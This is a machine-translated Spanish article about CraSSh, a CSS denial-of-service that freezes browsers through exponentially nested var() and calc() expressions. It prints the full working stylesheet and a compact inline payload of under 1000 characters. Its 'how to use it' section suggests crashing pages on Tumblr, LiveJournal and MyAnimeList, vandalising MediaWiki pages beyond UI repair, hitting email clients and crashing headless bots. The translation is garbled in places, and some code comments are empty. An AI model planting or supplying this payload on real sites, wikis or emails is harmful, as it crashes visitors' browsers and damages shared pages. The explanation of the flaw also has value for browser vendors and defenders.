CraSSh: rompiendo todos los navegadores modernos con cálculos CSS

Autor del artículo: Konstantin Safonov

No quiero leer esta charla técnica. Mi navegador acaba de caer.

¿Qué es CraSSh?


CraSSh es un ataque DoS puramente declarativo entre navegadores basado en un manejo deficiente de las funciones anidadas CSS var() y calc() en navegadores modernos.

CraSSh funciona en todos los principales navegadores en computadoras de escritorio y dispositivos móviles:

  • Motor WebKit / Blink: Chrome, Opera, Safari e incluso Samsung Internet en televisores y refrigeradores inteligentes.
    • Android WebView, iOS UIWebView también se ven afectados, es decir, puede bloquear cualquier aplicación con un navegador incorporado.
  • En el motor Gecko: Firefox y sus horquillas, como el navegador Tor.
    • Servo no se inició en ninguna de mis máquinas, por lo que no lo probé.
  • En el motor EdgeHTML: Edge en Windows, WebView en aplicaciones UWP (¿alguien las usa?)

El navegador IE no se ve afectado, ya que no admite las funciones en las que se basa el ataque, pero sus usuarios tienen muchos problemas propios (probablemente este navegador puede destruirse de otras maneras, aproximadamente por persona) .

Como funciona


La idea de CraSSh es hacer que el navegador calcule una propiedad CSS con llamadas variables anidadas en tiempo exponencial y con un gran uso de memoria.

El ataque se basa en tres características de CSS:

Variables CSS ( propiedades personalizadas y var () )

Le permiten declarar: asignar y leer variables:

 .variables { --variable: 1px; /* declare some variable */ height: var(--variable); /* read the previously declared variable */ } 


Las variables no permiten la recursividad (aunque hubo un error en WebKit que causó una recursión infinita) o bucles, pero se pueden definir como

expresiones calc ()

Las expresiones calc () le permiten realizar algunas operaciones aritméticas básicas al describir las reglas, por ejemplo, 'width: calc(50% - 10px)' .

calc() permite hacer referencia a variables y usar múltiples valores en una sola expresión:

 .calc { --variable: 1px; /* declare a constant */ height: calc(var(--variable) + var(--variable)); /* access --variable twice */ } 


Esto lo hace posible:

  • aumente linealmente los cálculos en cada expresión calc() agregando referencias a variables anteriores;
  • Aumenta exponencialmente la complejidad con cada declaración de variable con una expresión calc() que hace referencia a otras variables calculadas:

 .calc_multiple { --variable-level-0: 1px; /*  */ --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); /* 2   */ --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); /* 2   , 4   */ /* ...    */ --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); /* 2   , 2 ^ n   */ } 


Parece que debería calcularse durante un tiempo exponencial, pero los navegadores modernos son un poco más inteligentes, por lo que generalmente calculan los valores de las variables una vez, reduciendo la complejidad a lineal. El truco es que el almacenamiento en caché de valores variables no se produce si tiene

significado heterogéneo

Técnicamente, esto es parte de calc() , pero merece una mención especial. Una variable heterogénea contiene unidades absolutas y relativas. Ella no puede ser:

  • calculado como un valor absoluto y compartido por varias aplicaciones para varios elementos, ya que depende de las propiedades del elemento objetivo (unidades '%' / 'em' );
  • calculado como un valor absoluto en una aplicación, porque en algunos casos esto conducirá a la acumulación de errores de redondeo causando extrañas compensaciones de subpíxeles que violan diseños complejos (¿tiene 12 columnas, cada 1/12 del ancho de la pantalla? Sin suerte, amigo, se unirán) en una nueva fila o dejar un espacio torpe al final).

Por lo tanto, este valor se recalcula cada vez:

 .non_cached { --const: calc(50% + 10px); /*  (50% + 10px) */ --variable: calc(var(--const) + var(--const)); /* -     */ width: var(--variable); /*    */ } 

En cuanto al segundo punto, la mayoría de los navegadores simplemente incrustan variables anidadas con un valor heterogéneo en una sola expresión para evitar errores de redondeo:

 .mixed { --mixed:calc(1% + 1px); /*   */ --mixed-reference: calc(var(--mixed) + var(--mixed)); /*      */ --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); /*     */ --mixed-reference-computes-as: calc(2% + 2px); /*  ,        */ } 

Imagine que hay millones (o miles de millones) de elementos en la expresión ... El motor CSS está tratando de asignar varios gigabytes de RAM, reducir la expresión, agregar controladores de eventos para que las propiedades puedan contarse cuando algo cambia. Al final, esto sucede en una determinada etapa.

Entonces, el CraSSh original se veía:

 .crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); /*   */ --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); /* 2  */ --level-2: calc(var(--level-1) + var(--level-1)); /* 4  */ --level-3: calc(var(--level-2) + var(--level-2)); /* 8  */ --level-4: calc(var(--level-3) + var(--level-3)); /* 16  */ --level-5: calc(var(--level-4) + var(--level-4)); /* 32  */ --level-6: calc(var(--level-5) + var(--level-5)); /* 64  */ --level-7: calc(var(--level-6) + var(--level-6)); /* 128  */ --level-8: calc(var(--level-7) + var(--level-7)); /* 256  */ --level-9: calc(var(--level-8) + var(--level-8)); /* 512  */ --level-10: calc(var(--level-9) + var(--level-9)); /* 1024  */ --level-11: calc(var(--level-10) + var(--level-10)); /* 2048  */ --level-12: calc(var(--level-11) + var(--level-11)); /* 4096  */ --level-13: calc(var(--level-12) + var(--level-12)); /* 8192  */ --level-14: calc(var(--level-13) + var(--level-13)); /* 16384  */ --level-15: calc(var(--level-14) + var(--level-14)); /* 32768  */ --level-16: calc(var(--level-15) + var(--level-15)); /* 65536  */ --level-17: calc(var(--level-16) + var(--level-16)); /* 131072  */ --level-18: calc(var(--level-17) + var(--level-17)); /* 262144  */ --level-19: calc(var(--level-18) + var(--level-18)); /* 524288  */ --level-20: calc(var(--level-19) + var(--level-19)); /* 1048576  */ --level-21: calc(var(--level-20) + var(--level-20)); /* 2097152  */ --level-22: calc(var(--level-21) + var(--level-21)); /* 4194304  */ --level-23: calc(var(--level-22) + var(--level-22)); /* 8388608  */ --level-24: calc(var(--level-23) + var(--level-23)); /* 16777216  */ --level-25: calc(var(--level-24) + var(--level-24)); /* 33554432  */ --level-26: calc(var(--level-25) + var(--level-25)); /* 67108864  */ --level-27: calc(var(--level-26) + var(--level-26)); /* 134217728  */ --level-28: calc(var(--level-27) + var(--level-27)); /* 268435456  */ --level-29: calc(var(--level-28) + var(--level-28)); /* 536870912  */ --level-30: calc(var(--level-29) + var(--level-29)); /* 1073741824  */ --level-final: calc(var(--level-30) + 1px); /* 1073741824  */ /* ^        ->   -  */ border-width: var(--level-final); /* <-    */ /*     border-width,   style (=  ) */ border-style: solid; } 

 <div class="crassh">    ,      CSS     CraSSh </div> 

Y aquí está la versión incorporada de menos de 1000 caracteres (MediaWiki para demostración).

 <div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div> 

Como usarlo


Además de alejar a los usuarios de su propio sitio o blog en una plataforma que brinda acceso completo a HTML, como Tumblr ( ejemplo con un bloqueo del navegador ) o LiveJournal ( ejemplo con un bloqueo del navegador ), CraSSh le permite:

  • Rompe la interfaz de usuario en esas páginas del sitio que están bajo tu control y te permiten definir CSS arbitrario, sin siquiera proporcionar plantillas HTML. Logré romper MyAnimeList ( ejemplo con un bloqueo del navegador ). Reddit no se ve afectado por este ataque porque su analizador no admite variables CSS.
  • Aplasta las IU en páginas publicables de acceso público que te permiten insertar algunas etiquetas HTML con estilos en línea. En Wikipedia, mi cuenta fue prohibida por vandalismo, aunque publiqué un ejemplo con una falla del navegador en mi página personal. El ataque afecta a la mayoría de los proyectos basados ​​en MediaWiki. En principio, una página rota ya no se puede restaurar a través de la interfaz de usuario.
  • Causar clientes de correo electrónico habilitados para HTML

    • Esto es bastante complicado porque los clientes de correo electrónico eliminan / reducen HTML y, por lo general , no admiten las características modernas de CSS que utiliza CraSSh.
    • CraSSh trabaja en

      • Samsung Mail para Android
    • CraSSh no funciona en

      • Outlook (web)
      • Gmail (web)
      • Gmail (Android)
      • Yahoo (web)
      • Yandex (web)
      • Protonmail (web)
      • Zimbra (web, instalación fuera de línea)
      • Windows Mail (Windows obviamente)
    • Debe trabajar en

      • Outlook para Mac (usa internamente Webkit)
    • Otros no lo han probado.
  • Acabo de tener la enfermiza idea de que CraSSh se puede usar contra bots basados ​​en CEF / PhantomJS. El sitio atacado puede inyectar código CraSSh con encabezados ( como aquí ) y no mostrar el error habitual 403. IIRC, los errores se manejan de manera diferente en los motores integrados, por lo tanto

    • esto probablemente hará que el bot se bloquee (nadie espera un desbordamiento de pila o algo en el navegador sin cabeza)
    • es muy difícil de depurar, ya que ni siquiera aparece en el cuerpo de la respuesta, que probablemente irá a los registros


¿Por qué se hace esto?


  • ¿Recuerdas esa publicación de Linus?

    Parece que el mundo de la seguridad de TI ha alcanzado un nuevo fondo.

    Si trabajas con seguridad y crees que tienes conciencia, creo que puedes escribir:

    “No, en serio, no soy una puta. Honestamente, honestamente "

    en su tarjeta de visita. Solía ​​pensar que toda la industria está podrida, pero esto ya se está volviendo ridículo.

    ¿En qué punto las personas de seguridad admiten que les encanta llamar la atención sobre sí mismas?

    Fui aún más lejos e hice un sitio entero dedicado a un simple error, porque el placer de trabajar hasta las 4 de la mañana y la atención a los resultados logrados son las pocas cosas que me evitan la depresión y me sumerjo en esta bonita acera frente a la oficina.
  • Además, odio la interfaz, que es parte de mi trabajo como desarrollador fullstack, y esas cosas me ayudan a relajarme un poco.

Cosas similares


Ahora estoy participando en un proyecto increíble, del que hablaremos más adelante. Síganos en Twitter

Agradecimiento especial


Source: https://habr.com/ru/post/es431656/


All Articles